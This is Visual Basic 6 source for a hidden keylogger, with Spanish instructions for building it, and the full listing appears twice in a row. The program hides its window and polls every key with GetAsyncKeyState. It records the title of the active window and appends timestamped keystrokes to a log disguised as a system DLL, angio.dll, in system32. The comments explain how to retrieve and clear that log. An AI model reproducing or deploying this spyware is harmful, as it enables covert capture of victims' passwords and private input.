Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32" Alias _
"GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
'los timer tm el value es 5 y el timer timer1 es 1
'inserta los controles segun su nombre es facil
'copia y pega en el editor visual basic
'abre el archivo c:\windows\system32\angio.dll con el block de notas
'despues copia lo que nesesites y borralo
'el programa lo creara de nuevo
Private Sub Form_Load()
Dim h
On Error GoTo Fallo
h = GetAttr("C:\windows\system32\angio.dll")
h = GetAttr("C:\windows\system32\angio2.dll")
Form1.Hide
Exit Sub
Fallo:
Open "C:\windows\system32\angio.dll" For Output As #1
Close #1
Open "C:\windows\system32\angio2.dll" For Output As #1
Close #1
Form1.Hide
End Sub
Private Sub Label1_Click()
End
End Sub
Private Sub Timer1_Timer()
Open "C:\windows\system32\angio.dll" For Append As #1
Print #1, Now, L2.Caption, l1.Caption, L3.Caption, Text1.Text
Close #1
Text1.Text = ""
Timer1.Enabled = False
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer, z
For i = 8 To 222
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "A"
Case vbKeyB: Text1.Text = Text1.Text & "B"
Case vbKeyC: Text1.Text = Text1.Text & "C"
Case vbKeyD: Text1.Text = Text1.Text & "D"
Case vbKeyE: Text1.Text = Text1.Text & "E"
Case vbKeyF: Text1.Text = Text1.Text & "F"
Case vbKeyG: Text1.Text = Text1.Text & "G"
Case vbKeyH: Text1.Text = Text1.Text & "H"
Case vbKeyI: Text1.Text = Text1.Text & "I"
Case vbKeyJ: Text1.Text = Text1.Text & "J"
Case vbKeyK: Text1.Text = Text1.Text & "K"
Case vbKeyL: Text1.Text = Text1.Text & "L"
Case vbKeyM: Text1.Text = Text1.Text & "M"
Case vbKeyN: Text1.Text = Text1.Text & "N"
Case vbKeyO: Text1.Text = Text1.Text & "O"
Case vbKeyP: Text1.Text = Text1.Text & "P"
Case vbKeyQ: Text1.Text = Text1.Text & "Q"
Case vbKeyR: Text1.Text = Text1.Text & "R"
Case vbKeyS: Text1.Text = Text1.Text & "S"
Case vbKeyT: Text1.Text = Text1.Text & "T"
Case vbKeyU: Text1.Text = Text1.Text & "U"
Case vbKeyV: Text1.Text = Text1.Text & "V"
Case vbKeyW: Text1.Text = Text1.Text & "W"
Case vbKeyX: Text1.Text = Text1.Text & "X"
Case vbKeyY: Text1.Text = Text1.Text & "Y"
Case vbKeyZ: Text1.Text = Text1.Text & "Z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [<Intro>] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyDelete: Text1.Text = Text1.Text & " [<Suprimir>] "
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [<Menu>] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [<Escape>] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [<Fin>] "
Case vbKeyHome: Text1.Text = Text1.Text & " [<Principio>] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKeySpace: Text1.Text = Text1.Text & " "
End Select
If i = vbKeyBack Then Timer1.Enabled = True
If i = vbKeyDelete Then Timer1.Enabled = True
If i = GetAsyncKeyState(1) = -32767 Then Timer1.Enabled = True
If i = vbKeyReturn Then
Dim Handle As Long, buffer As String
Handle = GetForegroundWindow
If Handle = 0 Then Exit Sub
buffer = Space(255)
Call GetWindowText(Handle, buffer, 255)
buffer = Trim$(buffer)
buffer = Left(buffer, Len(buffer) - 1)
l1.Caption = buffer
Timer1.Enabled = True
Exit Sub
End If
End If
Next
End Sub
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32" Alias _
"GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
'los timer tm el value es 5 y el timer timer1 es 1
'inserta los controles segun su nombre es facil
'copia y pega en el editor visual basic
'abre el archivo c:\windows\system32\angio.dll con el block de notas
'despues copia lo que nesesites y borralo
'el programa lo creara de nuevo
Private Sub Form_Load()
Dim h
On Error GoTo Fallo
h = GetAttr("C:\windows\system32\angio.dll")
h = GetAttr("C:\windows\system32\angio2.dll")
Form1.Hide
Exit Sub
Fallo:
Open "C:\windows\system32\angio.dll" For Output As #1
Close #1
Open "C:\windows\system32\angio2.dll" For Output As #1
Close #1
Form1.Hide
End Sub
Private Sub Label1_Click()
End
End Sub
Private Sub Timer1_Timer()
Open "C:\windows\system32\angio.dll" For Append As #1
Print #1, Now, L2.Caption, l1.Caption, L3.Caption, Text1.Text
Close #1
Text1.Text = ""
Timer1.Enabled = False
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer, z
For i = 8 To 222
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
Case vbKey0: Text1.Text = Text1.Text & "0"
Case vbKey1: Text1.Text = Text1.Text & "1"
Case vbKey2: Text1.Text = Text1.Text & "2"
Case vbKey3: Text1.Text = Text1.Text & "3"
Case vbKey4: Text1.Text = Text1.Text & "4"
Case vbKey5: Text1.Text = Text1.Text & "5"
Case vbKey6: Text1.Text = Text1.Text & "6"
Case vbKey7: Text1.Text = Text1.Text & "7"
Case vbKey8: Text1.Text = Text1.Text & "8"
Case vbKey9: Text1.Text = Text1.Text & "9"
Case vbKeyA: Text1.Text = Text1.Text & "A"
Case vbKeyB: Text1.Text = Text1.Text & "B"
Case vbKeyC: Text1.Text = Text1.Text & "C"
Case vbKeyD: Text1.Text = Text1.Text & "D"
Case vbKeyE: Text1.Text = Text1.Text & "E"
Case vbKeyF: Text1.Text = Text1.Text & "F"
Case vbKeyG: Text1.Text = Text1.Text & "G"
Case vbKeyH: Text1.Text = Text1.Text & "H"
Case vbKeyI: Text1.Text = Text1.Text & "I"
Case vbKeyJ: Text1.Text = Text1.Text & "J"
Case vbKeyK: Text1.Text = Text1.Text & "K"
Case vbKeyL: Text1.Text = Text1.Text & "L"
Case vbKeyM: Text1.Text = Text1.Text & "M"
Case vbKeyN: Text1.Text = Text1.Text & "N"
Case vbKeyO: Text1.Text = Text1.Text & "O"
Case vbKeyP: Text1.Text = Text1.Text & "P"
Case vbKeyQ: Text1.Text = Text1.Text & "Q"
Case vbKeyR: Text1.Text = Text1.Text & "R"
Case vbKeyS: Text1.Text = Text1.Text & "S"
Case vbKeyT: Text1.Text = Text1.Text & "T"
Case vbKeyU: Text1.Text = Text1.Text & "U"
Case vbKeyV: Text1.Text = Text1.Text & "V"
Case vbKeyW: Text1.Text = Text1.Text & "W"
Case vbKeyX: Text1.Text = Text1.Text & "X"
Case vbKeyY: Text1.Text = Text1.Text & "Y"
Case vbKeyZ: Text1.Text = Text1.Text & "Z"
Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
Case vbKeyAdd: Text1.Text = Text1.Text & "+"
Case vbKeySeparator: Text1.Text = Text1.Text & " [<Intro>] "
Case vbKeySubtract: Text1.Text = Text1.Text & "-"
Case vbKeyDecimal: Text1.Text = Text1.Text & "."
Case vbKeyDivide: Text1.Text = Text1.Text & "/"
Case vbKeyDelete: Text1.Text = Text1.Text & " [<Suprimir>] "
Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
Case vbKeyMenu: Text1.Text = Text1.Text & " [<Menu>] "
Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
Case vbKeyEscape: Text1.Text = Text1.Text & " [<Escape>] "
Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
Case vbKeyEnd: Text1.Text = Text1.Text & " [<Fin>] "
Case vbKeyHome: Text1.Text = Text1.Text & " [<Principio>] "
Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
Case vbKeySpace: Text1.Text = Text1.Text & " "
End Select
If i = vbKeyBack Then Timer1.Enabled = True
If i = vbKeyDelete Then Timer1.Enabled = True
If i = GetAsyncKeyState(1) = -32767 Then Timer1.Enabled = True
If i = vbKeyReturn Then
Dim Handle As Long, buffer As String
Handle = GetForegroundWindow
If Handle = 0 Then Exit Sub
buffer = Space(255)
Call GetWindowText(Handle, buffer, 255)
buffer = Trim$(buffer)
buffer = Left(buffer, Len(buffer) - 1)
l1.Caption = buffer
Timer1.Enabled = True
Exit Sub
End If
End If
Next
End Sub